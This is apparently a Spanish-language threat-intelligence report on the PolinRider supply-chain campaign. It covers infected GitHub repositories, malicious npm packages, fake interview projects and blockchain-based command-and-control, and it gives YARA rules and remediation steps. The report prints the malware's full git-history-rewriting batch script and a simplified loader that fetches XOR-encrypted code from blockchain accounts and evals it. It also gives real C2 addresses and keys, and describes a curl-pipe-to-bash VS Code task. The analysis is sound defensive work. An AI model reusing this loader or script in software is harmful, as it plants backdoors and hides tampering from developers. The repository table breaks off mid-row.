
Dossier técnico sobre el ataque a la cadena de suministro PolinRider vinculado a la RPDC, que documenta la inyección de payload JS ofuscado, la manipulación del historial de git, la infraestructura C2 y la guía de remediación para 1,951 repositorios comprometidos.

El equipo de OpenSourceMalware ha descubierto una campaña masiva de amenazas que está implantando malware en repositorios de usuarios y organizaciones de GitHub. El actor de amenazas, PolinRider, ha implantado cargas útiles maliciosas de JavaScript ofuscado en cientos de repositorios públicos de GitHub pertenecientes a cientos de propietarios únicos. Utilice la etiqueta #polinrider para ver todos los informes de amenazas relacionados con esta campaña, y salte al final de este blog para ver la lista de repositorios comprometidos, incluidos aquellos que recomendamos priorizar para una acción inmediata. Tenga en cuenta que la etiqueta es la mejor manera de obtener datos actualizados.
La carga útil de JavaScript se agrega al final de los archivos de configuración reales del proyecto, silenciosamente, después del contenido legítimo del archivo, lo que facilita pasarlo por alto durante una revisión de código casual. El vector de infección principal parece ser un paquete npm comprometido que se ejecuta durante la instalación o compilación y se inyecta en los archivos de configuración en la raíz del proyecto. Peor aún, este actor de amenazas ha utilizado la misma técnica para crear paquetes NPM maliciosos también.
Este ataque ha sido enormemente exitoso, con un proyecto de código abierto comprometido, Neutralinojs, propagando el malware a cientos de sus usuarios y contribuyentes. Neutralinojs es un proyecto muy popular con 8400 estrellas, 495 bifurcaciones y docenas de contribuyentes activos. Este es el poder de este tipo de ataque, ya que la amenaza no se limita solo a los repositorios iniciales de GitHub, sino que se extiende a todos los demás proyectos que utilizan ese código abierto.
El equipo de OpenSourceMalware ha atribuido esta campaña a Corea del Norte, y el actor de amenazas PolinRider es un conocido colaborador del grupo Lazarus con conexiones con las campañas "Contagious Interview" y "TasksJacker".
Esta campaña ha crecido drásticamente desde su primera publicación. A partir del 2026-04-11, el equipo de OSM ha confirmado que 1.951 repositorios públicos de GitHub pertenecientes a 1.047 propietarios únicos están comprometidos. Esto es un aumento de 2.9× en las cinco semanas desde la fecha de publicación original (8 de marzo: 675 repos / 352 propietarios).

En una caza de seguimiento iniciada el 2026-04-10 y continuada hasta el 2026-04-11, el equipo de OSM realizó varios hallazgos importantes:
La campaña se ha más que duplicado en 5 semanas. La enumeración entre motores a través de GitHub Code Search y Sourcegraph (con refinamiento más allá del límite de 1000 resultados de la API — ver metodología abajo) encontró 1.556 repositorios únicos comprometidos en nuestro maestro v3 en el primer día. Una segunda ronda de caza en el segundo día agregó otros 215 nuevos repos a través de pivotes de nombres de paquetes npm, pivotes de tareas.json de VS Code / proveedor de nube, y el subdominio C2 recién descubierto default-configuration.vercel.app. Después de deduplicar contra el corpus existente affected_repos.csv, el alcance conocido real es ahora 1.951 repositorios víctima únicos / 1.047 propietarios únicos.
Se ha observado una nueva variante. PolinRider ha rotado todas las huellas dactilares únicas de su ofuscador mientras preserva la arquitectura. La nueva variante utiliza el marcador de firma Cot%3t=shtP (anteriormente rmcej%otb%), semilla de barajado 1111436 (anteriormente 2857687), semilla secundaria 3896884 (anteriormente 2667686), y nombre de función decodificadora MDy (anteriormente _$_1e42). Esta rotación parece ser una respuesta de evasión a la regla YARA publicada. Ambas variantes están actualmente activas en la naturaleza. Consulte más abajo.
Los informes completos de la caza v3 + ronda 2 y los TSV maestros están en reports/.
El actor de amenazas no está utilizando credenciales robadas de GitHub. En cambio, las víctimas han sido comprometidas a través de una extensión maliciosa de VS Code o un paquete NPM. Aún no sabemos cuál es ese vector inicial, pero sabemos lo que hace a partir de la evidencia forense.
Lo primero que sucede es que el malware ejecuta una función de búsqueda en la computadora local que busca ciertos archivos como:
Si encuentra uno de esos archivos, agregará código JavaScript malicioso altamente ofuscado al final de ese archivo. A continuación, el malware instala un archivo por lotes de Windows, llamado temp_auto_push.bat. Sabemos que este archivo existe y qué hace porque los actores de amenazas lo han dejado en cientos de servidores comprometidos, lo que brinda a los investigadores una huella digital para buscar. Aquí está el archivo por lotes en su totalidad:``` @echo off for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% echo %LAST_COMMIT_TEXT% echo %USER_NAME% (%USER_EMAIL%) echo Branch: %CURRENT_BRANCH% set CURRENT_DATE=%date% set CURRENT_TIME=%time% date %LAST_COMMIT_DATE% time %LAST_COMMIT_TIME% echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% git config --local user.name %USER_NAME% git config --local user.email %USER_EMAIL% git add . git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify date %CURRENT_DATE% time %CURRENT_TIME% echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit! git push -uf origin %CURRENT_BRANCH% --no-verify @echo on
### Análisis del Archivo Batch
Este archivo batch **reescribe el commit más reciente de git mientras conserva su marca de tiempo original** — efectivamente haciendo que un commit enmendado parezca que nunca fue tocado.
#### Fase 1: Extraer Metadatos del Último Commit
Ejecuta `git log -1` cinco veces para obtener los detalles del último commit en variables de entorno:
| Variable | Valor capturado |
|---|---|
| `LAST_COMMIT_DATE` | Fecha del último commit (YYYY-MM-DD) |
| `LAST_COMMIT_TIME` | Hora del último commit (HH:MM:SS) |
| `LAST_COMMIT_TEXT` | Mensaje del commit |
| `USER_NAME` | Nombre del autor |
| `USER_EMAIL` | Correo electrónico del autor |
| `CURRENT_BRANCH` | Nombre de la rama actual |
#### Fase 2: Mostrar Información Extraída
Muestra esos valores en la consola para que puedas ver lo que se capturó antes de continuar.
#### Fase 3: El Truco de la Marca de Tiempo (Manipulación Central)
1. Guarda la fecha y hora *actuales* del sistema en variables
2. **Cambia el reloj del sistema de Windows** para que coincida con la fecha y hora del último commit
3. Establece el `user.name` y `user.email` locales de git para que coincidan con el autor del commit original
#### Fase 4: Enmendar el Commit```bat
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
Debido a que el reloj del sistema se retrocedió, git registra la confirmación enmendada con la marca de tiempo original, haciendo que parezca no modificada en el historial. --no-verify omite cualquier gancho de pre-commit.
-uf y --no-verify para omitir los ganchos de pushEste script te permite modificar silenciosamente la última confirmación (agregando o cambiando archivos) mientras hace que la confirmación reescrita parezca tener el mismo autor, marca de tiempo y mensaje que antes. Para cualquier observador que mire el historial de git, parece que la confirmación nunca fue enmendada.
-uf) sobrescribirá el historial remoto — destructivo para cualquier otra persona en la rama--no-verify omiten intencionalmente cualquier gancho de CI/CD o comprobaciones de lintAsumimos que el malware tiene funciones similares para reescribir el historial de git en otros sistemas operativos como Linux y MacOS. De hecho, hemos visto evidencia de que está ocurriendo en otros sistemas operativos, pero los actores de amenazas no han dejado herramientas que funcionen en esas otras plataformas en el código fuente como lo han hecho para Windows.
Para propietarios de repositorios afectados:
postcss.config.*, tailwind.config.*, eslint.config.*, next.config.*, vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, etc.) en busca de contenido que aparezca después de export default o module.exports. También verificar ramas no predeterminadas y rutas anidadas de monorepo (apps/*/, frontend/, client/, web/, etc.) — muchas víctimas están infectadas solo en rutas profundas.Para herramientas de seguridad / registros:
polinrider_payload de múltiples variantes (abajo) a los pipelines de análisis estático — cubre ambas variantes rmcej%otb% y Cot%3t=shtP.filename:temp_auto_push.bat y LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat como consultas de monitoreo continuo en GitHub Code Search.Nuestro equipo ha escrito un script bash que verificará tu sistema local en busca de compromiso. Al final de esta publicación de blog puedes obtener más información, o puedes revisar el script aquí
La actualización del 10 de abril expandió significativamente la lista de tipos de archivos. El malware se dirige a un conjunto más amplio de archivos de la familia JS de lo documentado originalmente, y se ha observado dentro de activos binarios como archivos de fuente .woff2. Los recuentos a continuación reflejan el corpus del 2026-04-10 de 1,736 repositorios únicos.
El dominio de postcss.config.mjs (~62% de los repositorios en ambos puntos de datos) continúa señalando al ecosistema PostCSS/Tailwind como el vector de infección principal. Las entradas recién observadas — vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, truffle.js, y archivos binarios .woff2 — muestran que el malware ha expandido sus heurísticas de selección de archivos o que el actor de amenazas está utilizando múltiples vehículos de paquetes npm para alcanzar a víctimas que usan diferentes herramientas de compilación.
El artefacto del script de propagación temp_auto_push.bat ha sido dejado en 101 repositorios de víctimas, incluso en casos donde la carga útil JS ha sido limpiada posteriormente por el propietario. Este archivo es uno de los indicadores de más alta confianza de compromiso pasado.

El actor de amenazas ha publicado varios paquetes NPM maliciosos, todos suplantando utilidades adyacentes a Tailwind/PostCSS. A partir del 2026-04-11, las cuentas npm allavin y blackedward han sido eliminadas de npm y sus paquetes eliminados, pero los repositorios de víctimas existentes aún contienen las referencias de dependencia y (en muchos casos) aún tienen el malware inyectado post-instalación en sus archivos de configuración.
La caza del 11 de abril confirmó que tailwindcss-style-animate ^1.1.6 es la dependencia maliciosa principal de la plantilla de entrevista falsa ShoeVista — 34 de los 46 aciertos de pivote de paquetes npm son recargas de desarrolladores de esa plantilla con esa dependencia exacta. Los otros paquetes en la lista son utilizados por campañas hermanas (por ejemplo, tailwind-autoanimation en el clúster devhire-frontend y reactapp-6).
Los investigadores que buscan pivotear a través del árbol de dependientes de npm deben notar que este pivote ya no es viable para tailwind-mainanimation — npm ha eliminado la versión maliciosa en vivo. En su lugar, pivoten mediante consultas de búsqueda de código de GitHub como "<package_name>" filename:package.json, que aún devuelven las referencias fantasma en repositorios de víctimas.

El paquete tailwind-autoanimation utiliza la misma técnica exacta de agregar la carga útil JavaScript maliciosa al final del archivo de punto de entrada src/index.js:

PolinRider entrega una carga útil de múltiples etapas, que culmina en una nueva versión del malware Beavertail de DPRK. La carga útil inicial es una puerta trasera/robador de información de compromiso masivo que inyecta una carga útil JavaScript ofuscada en los repositorios de desarrolladores legítimos. La carga útil se agrega después de un relleno de espacios en blanco a archivos de configuración comunes (postcss.config.mjs, eslint.config.mjs, tailwind.config.js, etc.) para que se ejecute automáticamente cuando las herramientas de compilación importan el módulo. Utiliza una rutina de desofuscación de mezcla de cadenas de múltiples capas, que finalmente construye y evalúa la carga útil final en tiempo de ejecución.
El equipo de OSM ha observado hasta ahora dos variantes activas de este ofuscador con huellas digitales únicas rotadas:
("rmcej%otb%",2857687), función decodificadora _$_1e42, semilla secundaria 2667686, marcador de inyección global['!'].Cot%3t=shtP, semilla de mezcla 1111436, función decodificadora MDy, semilla secundaria 3896884, marcador de inyección global['_V']='8-XXX'. Misma arquitectura, todas las constantes únicas rotadas — casi con certeza una respuesta de evasión a la regla YARA publicada rmcej_otb_payload.Ambas variantes utilizan la misma infraestructura C2 de depósito muerto de blockchain (TRON / Aptos / BSC) con las mismas claves XOR, y ambas están actualmente activas en la naturaleza.
Esta carga útil final es un resolvedor de depósito muerto basado en blockchain sofisticado que utiliza transacciones de blockchain inmutables como infraestructura de Comando y Control (C2). El malware obtiene cargas útiles JavaScript cifradas de cuentas de blockchain (TRON, Aptos y BSC), las descifra usando cifrado XOR y las ejecuta mediante eval(). Esta técnica hace que la infraestructura C2 sea virtualmente imposible de derribar, ya que los datos de blockchain son inmutables.
Comunicación C2 basada en Blockchain
Descifrado de Carga Útil
Ejecución Remota de Código
eval()Funciones Antianálisis
El equipo de OSM describió la cadena de ataque completa para este malware en nuestro blog sobre el reciente compromiso de Neutralinojs.
El malware utiliza cuatro capas de ofuscación:
Capa 1: Algoritmo de intercambio de caracteres con semilla 2857687
['r', 'object', 'm'] (require, typeof check, module)Capa 2: Intercambio de caracteres con semilla 2667686
Capa 3: Cifrado de sustitución personalizado
.c, .a, etc. con caracteres reales\, `, espacio, nueva línea, *, ', y másCapa 4: Cifrado XOR para cargas útiles finales
Cot%3t=shtPEn abril de 2026, el equipo de OSM identificó una segunda variante activa del ofuscador PolinRider. La arquitectura es idéntica a la original — mismo cifrado de mezcla de 4 capas, mismo C2 de depósito muerto de blockchain, misma segunda etapa Beavertail de múltiples etapas — pero cada cadena de huella digital única ha sido rotada, casi con certeza en respuesta a la regla YARA publicada rmcej_otb_payload.
La nueva variante utiliza una línea adicional de marcador de inyección: global['_V']='8-XXX' (donde 8-XXX es una etiqueta de versión por inyección, por ejemplo, 8-st1, 8-st2, …, 8-st59, más un lote numérico paralelo como 8-413, 8-683, 8-778, 8-974). Las etiquetas secuenciales '8-stN' son la evidencia más fuerte del equipo de OSM de que la herramienta del actor de amenazas asigna un ID numérico por víctima y que existen al menos 59 inyecciones secuenciales de esta variante (algunas aún no indexadas por la búsqueda pública de código).
Al menos un repositorio — HassanHabibTahir/testclient — contiene marcadores de AMBAS variantes en diferentes archivos (rmcej%otb% en postcss.config.mjs y global['_V'] en otro archivo), lo que indica que la herramienta del actor de amenazas se está reejecutando contra hosts previamente comprometidos con el ofuscador rotado. Los defensores no deben asumir que un repositorio una vez limpiado permanece limpio.
Además de los vectores de entrega de paquetes npm y .vscode/tasks.json, el actor de amenazas de PolinRider ha creado al menos dos proyectos falsos de prueba casera distribuidos a candidatos a través de señuelos de entrevistas de trabajo falsas (el clásico manual de Contagious Interview). Estas plantillas de proyecto vienen precargadas con dependencias maliciosas o cargas útiles de tasks.json, de modo que simplemente clonar y ejecutar el proyecto desencadena la infección.
ShoeVista (también vista como shoevista, shoe-vista, Test-west-shoe, Test-002, product-catalog, mern-app, varios forks con nombres de candidatos)client/, backend Node/Express en server/ (prueba casera MERN típica)"tailwindcss-style-animate": "^1.1.6" en client/package.jsonname de package.json: "client" (genérico — la marca ShoeVista está en el README / página de aterrizaje de la empresa falsa)"projectInfo": { "name": "StakingGame", "description": "Advanced VSCode automation for multi-environment blockchain deployment.", "uuid": "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" } — el UUID es constante en todas las víctimas y es el indicador más fuerte de esta plantilla.vscode/tasks.json armado con runOn: folderOpen ejecutando curl | bash contra default-configuration.vercel.app y los otros subdominios C2 de Vercel recién descubiertosDevba/lmng-top-, wyrustaaruz/cal-eco-platformLa existencia de plantillas de proyecto pre-armadas significa:
test-*, *-test, *-interview, *-assessment, *-task) en sus heurísticas de búsqueda.### Estructura del Código```javascript
// Simplified structure (actual code is heavily obfuscated)
async function fetchPayloadFromTron(address) {
// Queries TRON API for account transactions
const response = await https.get(
`https://api.trongrid.io/v1/accounts/${address}/transactions?only_confirmed=true&only_from=true&limit=1`
);
// Extracts encrypted data from transaction
return response.data[0].raw_data.data;
}
async function fetchPayloadFromAptos(txHash) {
// Queries Aptos API for transaction details
const response = await https.get(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${txHash}/transactions?limit=1`
);
// Extracts payload from transaction arguments
return response[0].payload.arguments[0];
}
function xorDecrypt(encryptedData, key) {
// XOR decryption with repeating key
let result = '';
for (let i = 0; i < encryptedData.length; i++) {
const keyChar = key.charCodeAt(i % key.length);
result += String.fromCharCode(encryptedData.charCodeAt(i) ^ keyChar);
}
return result;
}
// Main execution
const encryptedPayload = await fetchPayloadFromTron("TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP");
const decryptedCode = xorDecrypt(encryptedPayload, "2[gWfGj;<:-93Z^C");
eval(decryptedCode); // EXECUTES ARBITRARY CODE
// Persistence via detached child process
require('child_process').spawn('node', ['-e', `global['_V']='...'${decryptedCode}`], {
detached: true,
stdio: 'ignore',
windowsHide: true
});
Usados en payloads .vscode/tasks.json curl | bash con runOn: folderOpen. Todos siguen la forma de URL https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. Estos son los servidores bootstrap controlados por el atacante que entregan el cargador JS PolinRider a las víctimas de VS Code.
Los cinco dominios vscode-* / default-configuration fueron descubiertos en la búsqueda del 10–11 de abril y ahora forman parte del conjunto de consultas de caza OSM. Espere más subdominios hermanos, ya que los dominios de Vercel son baratos/descartables para el actor de amenazas.
TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP (Primario)TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG (Secundario)Endpoint de API: https://api.trongrid.io/v1/accounts/
0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e (Primario)0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 (Secundario)Endpoint de API: https://fullnode.mainnet.aptoslabs.com/v1/accounts/
bsc-dataseed.binance.orgbsc-rpc.publicnode.comMétodo: eth_getTransactionByHash
2[gWfGj;<:-93Z^Cm6:tTh^D)cBz?NM]e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 — aparece en el campo projectInfo.uuid del .vscode/tasks.json malicioso para la plantilla de entrevista falsa de StakingGame. Muy específico; 0 falsos positivos en pruebas.La regla original rmcej_otb_payload (aún válida para la variante original) ha sido reemplazada por una regla multivariante que captura tanto la cepa original rmcej%otb% como la cepa rotada Cot%3t=shtP. Use esta en los pipelines de análisis estático.```yara
rule polinrider_payload {
meta:
description = "Detects PolinRider shuffle-cipher JS payloads — both rmcej%otb% (v1) and Cot%3t=shtP (v2) variants"
author = "OpenSourceMalware.com"
date = "2026-04-10"
severity = "high"
strings:
// Original variant (rmcej%otb%)
$marker_v1 = "rmcej%otb%"
$seed1_v1 = "2857687"
$seed2_v1 = "2667686"
$varname_v1 = "_$_1e42"
$global_bang = "global['!']"
// New variant (Cot%3t=shtP)
$marker_v2 = "Cot%3t=shtP"
$seed1_v2 = "1111436"
$seed2_v2 = "3896884"
$varname_v2 = "MDy"
$global_V = "global['_V']"
// Common across variants
$global_r = "global['r'] = require"
$global_m = "global['m'] = module"
condition:
any of ($marker_*) or
($global_bang and ($seed1_v1 or $varname_v1)) or
($global_V and ($seed1_v2 or $varname_v2)) or
($global_r and $global_m and (any of ($seed1_*)))
}
### Regla YARA (Legado) — solo variante original```yara
rule rmcej_otb_payload {
meta:
description = "Detects rmcej%otb% shuffle-cipher JS payload injected into config files (original variant only)"
author = "OpenSourceMalware.com"
date = "2026-03-07"
severity = "high"
strings:
$marker = "rmcej%otb%"
$global = "global['!']"
$seed1 = "2857687"
$seed2 = "2667686"
$varname = "_$_1e42"
condition:
$marker or ($global and $seed1) or ($varname and $seed2)
}
Los datos se recopilaron utilizando la API de Búsqueda de Código de GitHub mediante gh search code, ejecutando una consulta por nombre de archivo infectado para sortear el límite de 1,000 resultados por consulta. Los resultados se deduplicaron por nombre completo del repositorio.
La búsqueda del 10 de abril amplió la recopilación de datos combinando cinco pivotes ortogonales y aplicando una estrategia de partición por extensión/tamaño/fork para superar el límite de 1,000 resultados por consulta de la Búsqueda de Código de GitHub en el pivote más potente.
La consulta del nombre de función decodificadora _$_1e42 informó total_count: 968 y se limitó a 1,000 elementos devueltos, pero la interfaz web de GitHub mostraba más de 1,400 coincidencias. Refinar en subconsultas ortogonales que cada una se mantenga por debajo de 1,000 resultados, y luego tomar la unión, rompió el límite:
Tres hallazgos cruciales de este ejercicio:
fork:false). Agregar fork:true reveló 157 repositorios fork que contenían el marcador y que eran completamente invisibles para la consulta original.size:5000..10000 en segmentos de 1KB arrojó 986 resultados frente a los 968 informados en el bucket — incluso dentro de un total informado inferior a 1000, el límite puede ocultar entradas. El enfoque correcto es el agrupamiento recursivo hasta que cada bucket esté muy por debajo del límite.extension: generan más resultados totales que las divisiones por language: porque la detección de lenguaje de GitHub a veces excluye .mjs y .cjs del bucket de JavaScript.Combinar los datos de la búsqueda del 10–11 de abril con el affected_repos.csv existente produce el corpus real actualmente conocido:
En 44 muestras aleatorias tomadas en ambas rondas de la búsqueda, se observaron 0 falsos positivos. Cada repositorio muestreado contenía al menos uno de los invariantes de PolinRider (rmcej%otb%, Cot%3t=shtP, _$_1e42, MDy, global['!'], global['_V'], LAST_COMMIT_DATE dentro de un .bat de propagación, un paquete npm malicioso conocido en package.json, o un .vscode/tasks.json con un curl | bash a uno de los subdominios C2 conocidos) en el archivo en la ruta del pivote indexado.
La ronda 2 introdujo específicamente dos nuevas clasificaciones de variantes en la taxonomía de envíos:
malicious_npm: el repositorio contiene uno de los 7 paquetes npm maliciosos conocidos en un package.json (45 envíos — casi todos re-subidas de la plantilla ShoeVista).tasksjacker: el repositorio contiene un .vscode/tasks.json con una tarea runOn: folderOpen que ejecuta curl | bash o wget | sh contra un subdominio C2 de Vercel/Render/Railway (27 envíos — incluye el clúster de la plantilla StakingGame).Todos los repositorios comprometidos se pueden encontrar a través de la etiqueta OpenSourceMalware #polinrider.
Los CSV completos están ordenados por impacto para la clasificación.
Objetivos prioritarios:
sparktechagency(130 seguidores, 12 repos) yFSDTeam-SAA(21 seguidores, 12 repos) son las organizaciones de mayor volumen. Entre los individuos,coderkhalide(349 seguidores) tiene el alcance directo más amplio.
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | Codechef-VITC-Student-Chapter | Organization | 6 | 11 | 1 | Client/postcss.config.mjs | | https://github.com/Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | | 2 | sparktechagency/Vap-shop-Front-End- | sparktechagency | Organization | 7 | 0 | 1 | postcss.config.mjs | VapeShopMaps – Una plataforma social y de comercio electrónico B2B que conecta usuarios, tiendas, marcas y mayoristas con funciones sociales en tiempo real y optimización SEO avanzada. | https://github.com/sparktechagency/Vap-shop-Front-End- | | 3 | MIS-Silekta/silekta-frontend | MIS-Silekta | Organization | 1 | 3 | 1 | postcss.config.mjs | Este es el repositorio frontend de la empresa silekta para el módulo MIS. | https://github.com/MIS-Silekta/silekta-frontend | | 4 | UzairOrganization/allTask | UzairOrganization | Organization | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/UzairOrganization/allTask | | 5 | FSDTeam-SAA/nico41278-frontend | FSDTeam-SAA | Organization | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/nico41278-frontend | | 6 | FSDTeam-SAA/cstrat_frontend | FSDTeam-SAA | Organization | 1 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/cstrat_frontend | | 7 | SoftySkills/quiz_app | SoftySkills | Organization | 3 | 0 | 1 | postcss.config.mjs | | https://github.com/SoftySkills/quiz_app | | 8 | dawahanigeria-team/rayyan-server | dawahanigeria-team | Organization | 3 | 0 | 1 | eslint.config.mjs | Servidor de la App Rayyan | https://github.com/dawahanigeria-team/rayyan-server | | 9 | FSDTeam-SAA/sahara_53 | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | Build a Story Time es una plataforma potenciada por IA que permite a los usuarios crear libros de cuentos personalizados usando su propia voz y rostros como personajes. Transforma la narración de cuentos en una experiencia mágica, interactiva y profundamente personal. | https://github.com/FSDTeam-SAA/sahara_53 | | 10 | FSDTeam-SAA/lowready-frontend | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/lowready-frontend | | 11 | Addis-Career/Frontend | Addis-Career | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 12 | etrainermis/mineduc-Form | etrainermis | Organization | 0 | 1 | 1 | postcss.config.mjs | Foro de Celebraciones del Día Mundial de la Lengua Kiswahili de la CEA | | | 13 | FSDTeam-SAA/brazen-kits | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 14 | FSDTeam-SAA/Igghy-dashboard | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 15 | FlowBondTech/danz-miniapps | FlowBondTech | Organization | 0 | 1 | 2 | danz-main/postcss.config.mjs | daily-danz/postcss.config.mjs | | | | 16 | BrennansWave-com/brennanswave | BrennansWave-com | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 17 | FlowBondTech/danz-web | FlowBondTech | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 18 | QualifyAI/qualify-frontend | QualifyAI | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 19 | FSDTeam-SAA/ftfdesignco-backend | FSDTeam-SAA | Organization | 0 | 1 | 1 | src/router/index.js | | | | 20 | Gamage-Recruiters-406/Rent_a_Car | Gamage-Recruiters-406 | Organization | 1 | 0 | 1 | frontend/postcss.config.mjs | | | | 21 | Umbrelabs-Projects/Procobiz | Umbrelabs-Projects | Organization | 1 | 0 | 1 | postcss.config.mjs | | | | 22 | The-Extra-Project/Extra_surface_repo | The-Extra-Project | Organization | 1 | 0 | 1 | frontend/postcss.config.mjs | versión de despliegue de la versión de Laurent para Extra-surface. | | | 23 | Automobile-System/frontend | Automobile-System | Organization | 1 | 0 | 1 | postcss.config.mjs | | | | 24 | VplayProCrypto/mvp_vercel | VplayProCrypto | Organization | 1 | 0 | 1 | tailwind.config.js | Repositorio del mvp fase 1 | | | 25 | sparktechagency/nskustoms_custom_game_site-2.0 | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 26 | softvence-omega-future-stack/gameluke-frontend | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 27 | NexumTechnologies/E-Commerce | NexumTechnologies | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 28 | Umbrelabs-Projects/Hostella-superAdmin | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | Este repositorio es para quienes registrarán administradores | | | 29 | FSDTeam-SAA/admin-dashboard-gman | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 30 | sparktechagency/protippz_website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 31 | FlowRMS/flow-connect-frontend-new | FlowRMS | Organization | 0 | 0 | 1 | postcss.config.mjs | Aplicación Frontend FlowConnect | | | 32 | Anthem-InfoTech-Pvt-Ltd/dashboards | Anthem-InfoTech-Pvt-Ltd | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 33 | WeOwnAiAgents-Hackerhouse/WeOwnAiAgent | WeOwnAiAgents-Hackerhouse | Organization | 0 | 0 | 1 | postcss.config.mjs | Construyendo la plataforma de orquestación de agentes definitiva, soberana, impulsada por tokenomics y construida para la comunidad web3. Contribución para el hackathon de ethdenver. | | | 34 | Karigar-App/Karigar | Karigar-App | Organization | 0 | 0 | 1 | packages/ui/postcss.config.mjs | | | | 35 | sparktechagency/silicon-zisan-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 36 | FSDTeam-SAA/hinkel-Website | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 37 | FSDTeam-SAA/iwmsadvisors | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 38 | Umbrelabs-Projects/Hostella-admin | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | Plataforma de administración Hostella | | | 39 | Umbrelabs-Projects/Hostella-stu | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | Plataforma de reserva de hostales para estudiantes Hostella | | | 40 | iwb25-412-vertex-prime/apigateway-v1 | iwb25-412-vertex-prime | Organization | 0 | 0 | 1 | userportal/postcss.config.mjs | Portal de Usuario + Capa de Gestión | Gestión de cuotas, aplicación de reglas, validación de claves API. | | | 41 | Cloudrika/cloudrika-web | Cloudrika | Organization | 0 | 0 | 2 | packages/ui/postcss.config.mjs | apps/email-portal/next.config.mjs | | | | 42 | sparktechagency/consult_dashboard | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 43 | sparktechagency/jonowoods-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 44 | Softvence-Omega-Dev-Ninjas/diaz-jupiter-marine-frontend | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 45 | sparktechagency/profitable-website-v2 | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 46 | musetax/Amus-fe | musetax | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 47 | sparktechagency/faceAi-front-end | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 48 | sparktechagency/any-job-dashboard | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 49 | sparktechagency/anyjob-web | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 50 | softvence-omega-future-stack/lawalx_frontend | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 51 | softvence-omega-future-stack/kilian-rodhe-last- | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 52 | WeOwnNetwork/EthDenver-submission | WeOwnNetwork | Organization | 0 | 0 | 1 | apps/web/postcss.config.mjs | Construyendo el cliente de infraestructura de orquestación #FedArch con registro de agentes en cadena. Presentación para el hackathon ETHDenver 2026. | | | 53 | sparktechagency/betopia-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 54 | FlowRMSLabs/flowdemandwebsite | FlowRMSLabs | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 55 | BhavikPatel-dreamz/wove-gift-portal | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 56 | BhavikPatel-dreamz/DynamicDreamz-AIagent-Demos | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 57 | GARAGE-POS/nextjs_test | GARAGE-POS | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 58 | 